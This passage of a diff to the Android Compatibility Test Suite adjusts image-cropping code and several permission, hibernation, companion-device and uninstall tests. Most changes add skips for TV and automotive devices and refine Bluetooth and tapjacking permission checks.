         Image.Plane[] planes = image.getPlanes();
         for (int i = 0; i < planes.length; ++i) {
             ByteBuffer buf = planes[i].getBuffer();
 
-            int width, height, rowStride, pixelStride, x, y;
+            int width, height, rowStride, pixelStride, x, y, top, left;
             rowStride = planes[i].getRowStride();
             pixelStride = planes[i].getPixelStride();
             if (i == 0) {
                 width = imageWidth;
                 height = imageHeight;
+                left = cropLeft;
+                top = cropTop;
             } else {
                 width = imageWidth / 2;
                 height = imageHeight / 2;
+                left = cropLeft / 2;
+                top = cropTop / 2;
             }
 
             if (buf.hasArray()) {
@@ -371,7 +381,7 @@
                     }
                     // do it pixel-by-pixel
                     for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
+                        buf.position(pos + left + (top + y) * rowStride);
                         // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
                         buf.get(lb, 0, pixelStride * (width - 1) + 1);
                         for (x = 0; x < width; ++x) {
diff --git a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
index a6a858a..0f739db 100644
--- a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java
@@ -16,6 +16,7 @@
 
 package android.opengl.cts;
 
+import static android.opengl.GLES20.GL_ALPHA;
 import static android.opengl.GLES30.GL_ARRAY_BUFFER;
 import static android.opengl.GLES30.GL_BUFFER_MAP_POINTER;
 import static android.opengl.GLES30.GL_COLOR_ATTACHMENT0;
@@ -24,8 +25,6 @@
 import static android.opengl.GLES30.GL_FRAMEBUFFER_COMPLETE;
 import static android.opengl.GLES30.GL_MAP_READ_BIT;
 import static android.opengl.GLES30.GL_NO_ERROR;
-import static android.opengl.GLES30.GL_R8;
-import static android.opengl.GLES30.GL_RED;
 import static android.opengl.GLES30.GL_RGBA;
 import static android.opengl.GLES30.GL_STATIC_DRAW;
 import static android.opengl.GLES30.GL_TEXTURE_2D;
@@ -105,7 +104,7 @@
         glGenTextures(1, textureHandles);
         int textureHandle = textureHandles.get(0);
         glBindTexture(GL_TEXTURE_2D, textureHandle);
-        glTexImage2D(GL_TEXTURE_2D, 0, GL_R8, 2, 2, 0, GL_RED, GL_UNSIGNED_BYTE, texelData);
+        glTexImage2D(GL_TEXTURE_2D, 0, GL_ALPHA, 2, 2, 0, GL_ALPHA, GL_UNSIGNED_BYTE, texelData);
         assertEquals(glGetError(), GL_NO_ERROR);
         glDeleteTextures(1, textureHandles);
     }
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
index 5e932c3..cfd62fb 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
@@ -49,6 +49,7 @@
 import org.junit.Assert.assertFalse
 import org.junit.Assert.assertThat
 import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
 import org.junit.Before
 import org.junit.Rule
 import org.junit.Test
@@ -119,8 +120,12 @@
                         packageManager.getApplicationInfo(APK_PACKAGE_NAME_S_APP, 0 /* flags */)
                     val stopped = ((ai.flags and ApplicationInfo.FLAG_STOPPED) != 0)
                     assertTrue(stopped)
-                    openUnusedAppsNotification()
 
+                    if (hasFeatureTV()) {
+                        // Skip checking unused apps screen because it may be unavailable on TV
+                        return
+                    }
+                    openUnusedAppsNotification()
                     waitFindObject(By.text(APK_PACKAGE_NAME_S_APP))
                 }
             }
@@ -129,6 +134,9 @@
 
     @Test
     fun testPreSVersionUnusedApp_doesntGetForceStopped() {
+        assumeFalse(
+            "TV may have different behaviour for Pre-S version apps",
+            hasFeatureTV())
         withUnusedThresholdMs(TEST_UNUSED_THRESHOLD) {
             withApp(APK_PATH_R_APP, APK_PACKAGE_NAME_R_APP) {
                 // Use app
@@ -154,6 +162,9 @@
     @AppModeFull(reason = "Uses application details settings")
     @Test
     fun testAppInfo_RemovePermissionsAndFreeUpSpaceToggleExists() {
+        assumeFalse(
+            "Remove permissions and free up space toggle may be unavailable on TV",
+            hasFeatureTV())
         withDeviceConfig(NAMESPACE_APP_HIBERNATION, "app_hibernation_enabled", "true") {
             withApp(APK_PATH_S_APP, APK_PACKAGE_NAME_S_APP) {
                 // Open app info
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
index da55409..b1688d2 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
@@ -190,6 +190,13 @@
         PackageManager.FEATURE_WATCH)
 }
 
+fun hasFeatureTV(): Boolean {
+    return InstrumentationRegistry.getTargetContext().packageManager.hasSystemFeature(
+            PackageManager.FEATURE_LEANBACK) ||
+            InstrumentationRegistry.getTargetContext().packageManager.hasSystemFeature(
+                    PackageManager.FEATURE_TELEVISION)
+}
+
 private fun expandNotificationsWatch(uiDevice: UiDevice) {
     with(uiDevice) {
         wakeUp()
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 2d3610b..a953562 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -149,6 +149,11 @@
 
                 // Verify
                 assertPermission(PERMISSION_DENIED)
+
+                if (hasFeatureTV()) {
+                    // Skip checking unused apps screen because it may be unavailable on TV
+                    return
+                }
                 openUnusedAppsNotification()
 
                 waitFindObject(By.text(supportedAppPackageName))
@@ -161,6 +166,9 @@
     @AppModeFull(reason = "Uses separate apps for testing")
     @Test
     fun testUnusedApp_uninstallApp() {
+        assumeFalse(
+            "Unused apps screen may be unavailable on TV",
+            hasFeatureTV())
         withUnusedThresholdMs(3L) {
             withDummyAppNoUninstallAssertion {
                 // Setup
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index bfb82c5..ee2ab83 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -17,7 +17,9 @@
 package android.os.cts
 
 import android.companion.CompanionDeviceManager
+import android.content.pm.PackageManager
 import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
+import android.content.pm.PackageManager.FEATURE_LEANBACK
 import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
 import android.content.pm.PackageManager.PERMISSION_GRANTED
 import android.net.MacAddress
@@ -68,6 +70,8 @@
 const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
 const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
 const val SHELL_PACKAGE_NAME = "com.android.shell"
+const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
+const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
 val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
 
 /**
@@ -79,6 +83,12 @@
     val cdm: CompanionDeviceManager by lazy {
         context.getSystemService(CompanionDeviceManager::class.java)
     }
+    val pm: PackageManager by lazy { context.packageManager }
+    private val hasFeatureCompanionDeviceSetup: Boolean by lazy {
+        pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)
+    }
+    private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) }
+    private val isTV: Boolean by lazy { pm.hasSystemFeature(FEATURE_LEANBACK) }
 
     private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
         val userId = context.userId
@@ -102,19 +112,24 @@
 
     @Before
     fun assumeHasFeature() {
-        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP))
+        assumeTrue(hasFeatureCompanionDeviceSetup)
         // TODO(b/191699828) test does not work in automotive due to accessibility issue
-        assumeFalse(context.packageManager.hasSystemFeature(FEATURE_AUTOMOTIVE))
+        assumeFalse(isAuto)
     }
 
     @After
     fun removeAllAssociations() {
-        val packageName = "android.os.cts.companiontestapp"
+        // If the devices does not have the feature or is an Auto, the test didn't run, and the
+        // clean up is not needed (will actually crash if the feature is missing).
+        // See assumeHasFeature @Before method.
+        if (!hasFeatureCompanionDeviceSetup || isAuto) return
+
         val userId = context.userId
-        val associations = getAssociatedDevices(packageName)
+        val associations = getAssociatedDevices(TEST_APP_PACKAGE_NAME)
 
         for (address in associations) {
-            runShellCommandOrThrow("cmd companiondevice disassociate $userId $packageName $address")
+            runShellCommandOrThrow(
+                    "cmd companiondevice disassociate $userId $TEST_APP_PACKAGE_NAME $address")
         }
     }
 
@@ -168,10 +183,8 @@
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testProfiles() {
-        val packageName = "android.os.cts.companiontestapp"
-        installApk(
-                "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk")
-        startApp(packageName)
+        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        startApp(TEST_APP_PACKAGE_NAME)
 
         waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
                 .performAction(ACTION_SET_TEXT,
@@ -191,24 +204,28 @@
         device!!.click()
 
         eventually {
-            assertThat(getAssociatedDevices(packageName), not(empty()))
+            assertThat(getAssociatedDevices(TEST_APP_PACKAGE_NAME), not(empty()))
         }
-        val deviceAddress = getAssociatedDevices(packageName).last()
+        val deviceAddress = getAssociatedDevices(TEST_APP_PACKAGE_NAME).last()
 
         runShellCommandOrThrow("cmd companiondevice simulate_connect $deviceAddress")
-        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+        assertPermission(
+                TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
 
         runShellCommandOrThrow("cmd companiondevice simulate_disconnect $deviceAddress")
-        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+        assertPermission(
+                TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
     }
 
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testRequestNotifications() {
-        val packageName = "android.os.cts.companiontestapp"
-        installApk(
-                "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk")
-        startApp(packageName)
+        // Skip this test for Android TV due to NotificationAccessConfirmationActivity only exists
+        // in Settings but not in TvSettings for Android TV devices (b/199224565).
+        assumeFalse(isTV)
+
+        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        startApp(TEST_APP_PACKAGE_NAME)
 
         waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
                 .performAction(ACTION_SET_TEXT,
diff --git a/tests/tests/os/src/android/os/cts/FileObserverTest.java b/tests/tests/os/src/android/os/cts/FileObserverTest.java
index e2e9c9d..1ae8706 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverTest.java
@@ -345,11 +345,8 @@
                 + "] expected: " + expectedEvents + " Actual: " + actualEvents;
         int j = 0;
         for (int i = 0; i < expected.length; i++) {
-            while (expected[i] != moveEvents[j].event) {
-                j++;
-                if (j >= moveEvents.length)
-                    fail(message);
-            }
+            while (j < moveEvents.length && expected[i] != moveEvents[j].event) j++;
+            if (j >= moveEvents.length) fail(message);
             j++;
         }
     }
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 3fa3dac..0b5ed0d 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -874,6 +874,9 @@
         assertViolation("Tried to access visual service " + WM_CLASS_NAME,
                 () -> configContext.getSystemService(WindowManager.class));
 
+        // Make the ViewConfiguration to be cached so that we won't call WindowManager
+        ViewConfiguration.get(configContext);
+
         assertNoViolation(() -> ViewConfiguration.get(configContext));
 
         mInstrumentation.runOnMainSync(() -> {
diff --git a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
index fed6b44..b961efb 100644
--- a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
+++ b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
@@ -20,6 +20,8 @@
 import static org.junit.Assert.fail;
 
 import android.app.Instrumentation;
+import android.content.ActivityNotFoundException;
+import android.content.pm.PackageManager;
 import android.net.Uri;
 import android.os.image.DynamicSystemClient;
 import android.platform.test.annotations.AppModeFull;
@@ -29,6 +31,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -40,6 +43,12 @@
     private boolean mUpdated;
     private Instrumentation mInstrumentation;
 
+    private static final String DSU_PACKAGE_NAME = "com.android.dynsystem";
+
+    private PackageManager getPackageManager() {
+        return mInstrumentation.getContext().getPackageManager();
+    }
+
     public void onStatusChanged(int status, int cause, long progress, Throwable detail) {
         mUpdated = true;
     }
@@ -63,6 +72,13 @@
         mUpdated = false;
         try {
             dSClient.start(uri, 1024L << 10);
+        } catch (ActivityNotFoundException e) {
+            try {
+                getPackageManager().getPackageInfo(DSU_PACKAGE_NAME, 0);
+            } catch (PackageManager.NameNotFoundException ignore) {
+                Assume.assumeNoException(ignore);
+            }
+            throw e;
         } catch (SecurityException e) {
             fail();
         }
@@ -90,6 +106,13 @@
         Uri uri = Uri.parse("https://www.google.com/").buildUpon().build();
         try {
             dSClient.start(uri, 1024L << 10);
+        } catch (ActivityNotFoundException e) {
+            try {
+                getPackageManager().getPackageInfo(DSU_PACKAGE_NAME, 0);
+            } catch (PackageManager.NameNotFoundException ignore) {
+                Assume.assumeNoException(ignore);
+            }
+            throw e;
         } catch (SecurityException e) {
             fail();
         }
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 8d57488..746f8b2 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -42,9 +42,8 @@
         <option name="test-file-name" value="CtsAdminPackageInstallerTestCases.apk" />
     </target_preparer>
 
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="dpm set-device-owner --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'" />
-        <option name="teardown-command" value="dpm remove-active-admin --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'"/>
+    <target_preparer class="com.android.tradefed.targetprep.DeviceOwnerTargetPreparer">
+        <option name="device-owner-component-name" value="android.packageinstaller.admin.cts/.BasicAdminReceiver" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
index daec088..ef93bbb 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
@@ -18,6 +18,7 @@
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.graphics.PixelFormat.TRANSLUCENT;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
@@ -27,6 +28,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 
 import android.content.Context;
 import android.content.Intent;
@@ -148,6 +150,8 @@
 
     @Test
     public void testUninstall() throws Exception {
+        // TODO(b/200620676) STOPSHIP Fix accessibility issue and remove assumeNoAutomotive()
+        assumeNoAutomotive();
         assertTrue(isInstalled());
 
         startUninstall();
@@ -198,4 +202,9 @@
             return false;
         }
     }
+
+    private void assumeNoAutomotive() {
+        assumeFalse("automotive build",
+                mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
index 9487122..8b8f24a 100644
--- a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
@@ -211,25 +211,40 @@
     }
 
     /**
-     * Verify that upgrading an app doesn't gain them any access to Bluetooth
-     * scan results; they'd always need to involve the user to gain permissions.
+     * Verify that a legacy app that was unable to interact with Bluetooth
+     * devices is still unable to interact with them after updating to a modern
+     * SDK; they'd always need to involve the user to gain permissions.
      */
     @Test
-    @Ignore
-    public void testRequestBluetoothPermission_Upgrade() throws Throwable {
+    public void testRequestBluetoothPermission_Default_Upgrade() throws Throwable {
         install(APK_BLUETOOTH_30);
-        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
-        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
-        assertScanBluetoothResult(Result.FULL);
+        assertScanBluetoothResult(Result.EMPTY);
 
         // Upgrading to target a new SDK level means they need to explicitly
         // request the new runtime permission; by default it's denied
-        install(APK_BLUETOOTH_31);
+        install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
         assertScanBluetoothResult(Result.EXCEPTION);
 
         // If the user does grant it, they can scan again
         grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
         grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult(Result.FILTERED);
+    }
+
+    /**
+     * Verify that a legacy app that was able to interact with Bluetooth devices
+     * is still able to interact with them after updating to a modern SDK.
+     */
+    @Test
+    public void testRequestBluetoothPermission_GrantLocation_Upgrade() throws Throwable {
+        install(APK_BLUETOOTH_30);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.FULL);
+
+        // Upgrading to target a new SDK level means they still have the access
+        // they enjoyed as a legacy app
+        install(APK_BLUETOOTH_31);
         assertScanBluetoothResult(Result.FULL);
     }
 
diff --git a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
index d013b93..c4c6656 100644
--- a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
@@ -24,7 +24,9 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.os.Process;
+import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SystemUserOnly;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -64,7 +66,10 @@
         final Set<String> blacklist = new HashSet<>(Arrays.asList(BLACKLISTED_PERMISSIONS));
 
         final PackageManager pm = sContext.getPackageManager();
-        final String[] pkgs = pm.getPackagesForUid(Process.SHELL_UID);
+        int uid = UserHandle.getUid(UserHandle.myUserId(), UserHandle.getAppId(Process.SHELL_UID));
+        final String[] pkgs = pm.getPackagesForUid(uid);
+        Log.d(LOG_TAG, "SHELL_UID: " + Process.SHELL_UID + " myUserId: "
+                + UserHandle.myUserId() + " uid: " + uid + " pkgs.length: " + pkgs.length);
         assertNotNull("No SHELL packages were found", pkgs);
         assertNotEquals("SHELL package list had 0 size", 0, pkgs.length);
         String pkg = pkgs[0];
@@ -73,9 +78,18 @@
         assertNotNull("No permissions found for " + pkg, packageInfo.requestedPermissions);
 
         for (String permission : packageInfo.requestedPermissions) {
-            Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission);
+            Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission + " uid: "
+                    + uid);
             assertFalse("SHELL as " + pkg + " contains the illegal permission " + permission,
                     blacklist.contains(permission));
         }
     }
+
+    @Test
+    @SystemUserOnly
+    @AppModeFull(reason = "Instant apps cannot read properties of other packages. Also the shell "
+            + "is never an instant app, hence this test does not matter for instant apps.")
+    public void testBlacklistedPermissionsForSystemUser() throws Exception {
+        testBlacklistedPermissions();
+    }
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 322fc03..d968dce 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -139,6 +139,11 @@
         return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
     }
 
+    protected fun waitFindObjectOrNull(selector: BySelector): UiObject2? {
+        waitForIdle()
+        return UiAutomatorUtils.waitFindObjectOrNull(selector)
+    }
+
     protected fun waitFindObjectOrNull(selector: BySelector, timeoutMillis: Long): UiObject2? {
         waitForIdle()
         return UiAutomatorUtils.waitFindObjectOrNull(selector, timeoutMillis)
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 1387915..ab4a05a 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -84,6 +84,7 @@
         const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
         const val ALLOW_FOREGROUND_PREFERENCE_TEXT = "permission_access_only_foreground"
         const val ASK_BUTTON_TEXT = "app_permission_button_ask"
+        const val ALLOW_ONE_TIME_BUTTON_TEXT = "grant_dialog_button_allow_one_time"
         const val DENY_BUTTON_TEXT = "grant_dialog_button_deny"
         const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT =
                 "grant_dialog_button_deny_and_dont_ask_again"
@@ -410,11 +411,16 @@
         isLegacyApp: Boolean,
         targetSdk: Int
     ) {
-        pressBack()
-        pressBack()
-        pressBack()
         if (isTv) {
+            // Dismiss DeprecatedTargetSdkVersionDialog, if present
+            if (waitFindObjectOrNull(By.text(APP_PACKAGE_NAME), 1000L) != null) {
+                pressBack()
+            }
             pressHome()
+        } else {
+            pressBack()
+            pressBack()
+            pressBack()
         }
 
         // Try multiple times as the AppInfo page might have read stale data
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
index 65ac193..794a731 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
@@ -18,13 +18,15 @@
 
 import android.Manifest
 import android.content.Intent
+import android.content.pm.PackageManager.FEATURE_LEANBACK
+import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
 import android.os.Build
 import android.support.test.uiautomator.By
 import androidx.test.filters.SdkSuppress
 import com.android.compatibility.common.util.SystemUtil
 import org.junit.After
+import org.junit.Assume.assumeFalse
 import org.junit.Before
-import org.junit.Ignore
 import org.junit.Test
 
 private const val APP_LABEL_1 = "CtsMicAccess"
@@ -42,6 +44,16 @@
     private val micLabel = packageManager.getPermissionGroupInfo(
             Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
 
+    // Permission history is not available on TV devices.
+    @Before
+    fun assumeNotTv() =
+            assumeFalse(packageManager.hasSystemFeature(FEATURE_LEANBACK))
+
+    // Permission history is not available on Auto devices.
+    @Before
+    fun assumeNotAuto() =
+            assumeFalse(packageManager.hasSystemFeature(FEATURE_AUTOMOTIVE))
+
     @Before
     fun installApps() {
         uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false)
@@ -57,6 +69,19 @@
     }
 
     @Test
+    fun testMicrophoneAccessShowsUpOnPrivacyDashboard() {
+        openMicrophoneApp(INTENT_ACTION_1)
+        waitFindObject(By.textContains(APP_LABEL_1))
+
+        openPermissionDashboard()
+        waitFindObject(By.res("android:id/title").textContains("Microphone")).click()
+        waitFindObject(By.descContains(micLabel))
+        waitFindObject(By.textContains(APP_LABEL_1))
+        pressBack()
+        pressBack()
+    }
+
+    @Test
     fun testToggleSystemApps() {
         // I had some hard time mocking a system app.
         // Hence here I am only testing if the toggle is there.
@@ -70,7 +95,8 @@
         menuView.click()
 
         waitFindObject(By.text(SHOW_SYSTEM))
-        uiDevice.pressBack()
+        pressBack()
+        pressBack()
     }
 
     @Test
@@ -85,9 +111,9 @@
                 PERMISSION_CONTROLLER_PACKAGE_ID_PREFIX + HISTORY_PREFERENCE_ICON))
         waitFindObject(By.res(
                 PERMISSION_CONTROLLER_PACKAGE_ID_PREFIX + HISTORY_PREFERENCE_TIME))
+        pressBack()
     }
 
-    @Ignore("b/186656826#comment27")
     @Test
     fun testCameraTimelineWithMultipleApps() {
         openMicrophoneApp(INTENT_ACTION_1)
@@ -100,6 +126,7 @@
         waitFindObject(By.descContains(micLabel))
         waitFindObject(By.textContains(APP_LABEL_1))
         waitFindObject(By.textContains(APP_LABEL_2))
+        pressBack()
     }
 
     private fun openMicrophoneApp(intentAction: String) {
@@ -117,6 +144,14 @@
         }
     }
 
+    private fun openPermissionDashboard() {
+        SystemUtil.runWithShellPermissionIdentity {
+            context.startActivity(Intent(Intent.ACTION_REVIEW_PERMISSION_USAGE).apply {
+                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+            })
+        }
+    }
+
     companion object {
         const val APP_APK_PATH = "$APK_DIRECTORY/CtsAccessMicrophoneApp.apk"
         const val APP_PACKAGE_NAME = "android.permission3.cts.accessmicrophoneapp"
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index 8ef2d19..8925088 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -65,23 +65,25 @@
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
 
-        val buttonCenter = waitFindObject(By.text(
+        val foregroundButtonCenter = waitFindObject(By.text(
                 getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT))).visibleCenter
-        val dialogBounds = waitFindObject(By.res(
-                "com.android.permissioncontroller", "grant_dialog")).visibleBounds
-        val messageBottom = waitFindObject(By.res(
-                "com.android.permissioncontroller", "permission_message")).visibleBounds.bottom
+        val oneTimeButton = waitFindObjectOrNull(By.text(
+                getPermissionControllerString(ALLOW_ONE_TIME_BUTTON_TEXT)))
+        // If one-time button is not available, fallback to deny button
+        val overlayButtonBounds = oneTimeButton?.visibleBounds
+                ?: waitFindObject(By.text(getPermissionControllerString(
+                        DENY_BUTTON_TEXT))).visibleBounds
 
         // Wait for overlay to hide the dialog
         context.sendBroadcast(Intent(ACTION_SHOW_OVERLAY)
                 .putExtra(EXTRA_FULL_OVERLAY, false)
-                .putExtra(DIALOG_LEFT, dialogBounds.left)
-                .putExtra(DIALOG_TOP, dialogBounds.top)
-                .putExtra(DIALOG_RIGHT, dialogBounds.right)
-                .putExtra(MESSAGE_BOTTOM, messageBottom))
+                .putExtra(DIALOG_LEFT, overlayButtonBounds.left)
+                .putExtra(DIALOG_TOP, overlayButtonBounds.top)
+                .putExtra(DIALOG_RIGHT, overlayButtonBounds.right)
+                .putExtra(MESSAGE_BOTTOM, overlayButtonBounds.bottom))
         waitFindObject(By.res("android.permission3.cts.usepermission:id/overlay"))
 
-        tryClicking(buttonCenter)
+        tryClicking(foregroundButtonCenter)
     }
 
     private fun tryClicking(buttonCenter: Point) {
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
index 930f5a5..26fe615 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
@@ -236,7 +236,7 @@
         assertAppHasPermission(android.Manifest.permission.READ_CONTACTS, false)
     }
 
-    @Test(timeout = 120000)
+    @Test(timeout = 180000)
     @FlakyTest
     fun testNoResidualPermissionsOnUninstall() {
         Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled())
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index a73035e..174002d 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -61,6 +61,7 @@
     private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
     private val packageManager: PackageManager = context.packageManager
 
+    private val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
